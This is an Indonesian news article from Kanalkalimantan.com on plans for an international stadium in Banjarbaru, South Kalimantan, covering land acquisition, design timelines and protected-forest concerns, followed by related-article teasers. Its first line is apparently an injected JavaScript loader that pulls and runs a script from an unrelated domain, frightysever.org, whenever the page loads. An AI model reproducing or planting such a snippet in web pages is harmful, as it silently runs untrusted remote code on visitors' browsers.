(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Persiapan rencana pembangunan stadion olahraga bertaraf internasional di Kota Banjarbaru, Provinsi Kalimantan Selatan, dimulai.
Hingga akhir tahun 2025, Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kalimantan Selatan berencana melakukan persiapan pembebasan lahan, dan ditargetkan pada awal tahun 2026 pengadaan tanah atau pembebasan lahan akan dilakukan.
Melalui tim PUPR Kalsel rencananya akan merampungkan Detail Engineering Design (Ded) pembangunan stadion di akhir tahun 2025.
Dalam sosialisasi, perwakilan Pemko Banjarbaru menyampaikan agar penentuan lahan untuk pembangunan stadion tidak masuk dalam kawasan Hutan Lindung yang berbatasan dengan Kota Banjarbaru.
Baca juga: GMPD Banjarbaru Orasi Terbuka Depan Balai Kota, Ini 10 Tuntutan yang Disampaikan
Plt Kepala Dinas PUPR Kalsel, M Yasin Toyib. Foto: wanda
Menanggapi hal itu, Plt Kepala Dinas PUPR Kalsel, M Yasin Toyib mengatakan, pembangunan akan terlebih dahulu difokuskan pada bangunan stadion yang tidak bersinggungan dengan hutan lindungnya.
“Sementara ini yang kita bangunkan stadion, belum lagi prasarana yang lain. Pak Gubernur juga mau mengembangkan nantinya sport center di situ,” ujar Plt Kepala Dinas PUPR Kalsel, M Yasin Toyib saat diwawancarai, Selasa (2/12/2025).
“Seperti ada kolam renang, ada hall untuk pameran, juga ada tempat indoor outdoor sepak bola,” tambahnya.
Menurut Yasin Toyib, rencana pengembangan pembuatan sport center itulah yang nantinya akan mengalih fungsi hutan lindung pada kawasan tersebut. Namun, ia mengklaim rencana tersebut berproses.
Baca juga: Peringatan Hari Bakti PU Dinas PUPR Kalsel Berlangsung Khidmat
“Tapi yang jelas pembangunan stadion tidak bersinggungan dengan hutan lindung, karena pengalihan hutan lindung kan berproses lama, kita harus bermohon nanti ke Kementerian Kehutanan untuk pengalihan status. Terkait hutan lindung untuk proses selanjutnya memang ada rencana sendiri dari Pak Gubernur memohon,” katanya.
Jika DED pembangunan stadion ini rampung pada tahun ini sekaligus apabila pengadaan tanah selesai, tahun depan sudah bisa dijalankan program fisiknya.
“Kalau untuk konstruksi basic, Insya Allah tidak ada masalah. Apapun lokasinya atau seperti apa, Insya Allah ada solusi untuk kegiatan fisiknya,” tutupnya. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
KANALKALIMANTAN. COM, PONTIANAK - PT PLN (Persero) Unit Pelaksana Pengatur Beban (UP2B) Kalimantan Barat memastikan… Read More
This website uses cookies.